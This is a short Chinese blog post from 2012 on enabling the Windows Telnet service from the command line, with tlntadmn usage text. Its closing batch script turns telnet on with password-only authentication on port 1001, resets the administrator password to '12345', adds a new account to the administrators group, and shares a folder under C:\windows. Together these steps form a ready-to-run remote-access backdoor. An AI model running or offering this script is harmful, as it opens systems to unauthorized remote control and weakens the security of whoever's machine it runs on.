您的位置:首页 > 其它

cmd下开启telnet的方法

2012-06-07 20:53 906 查看
1.启动

sc config tlntsvr start= auto
net start telnet

2.telnet管理工具

C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有会话用 ‘all'。
-s sessionid 列出会话的信息。
-k sessionid 终止会话。
-m sessionid 发送消息到会话。
config 配置telnet 服务器参数。
common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码
config_options 为:
dom = domain 设定用户的默认域
ctrlakeymap = yes|no 设定ALT 键的映射
timeout = hh:mm:ss 设定空闲会话超时值
timeoutactive = yes|no 启用空闲会话。
maxfail = attempts 设定断开前失败的登录企图数。
maxconn = connections 设定最大连接数。
port = number 设定telnet 端口。
sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
mode = console|stream 指定操作模式。

3.更改验证模式

tlntadmn config sec =passwd

4.更改端口

tlntadmn config port = 1001

5.批处理

@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  cmd telnet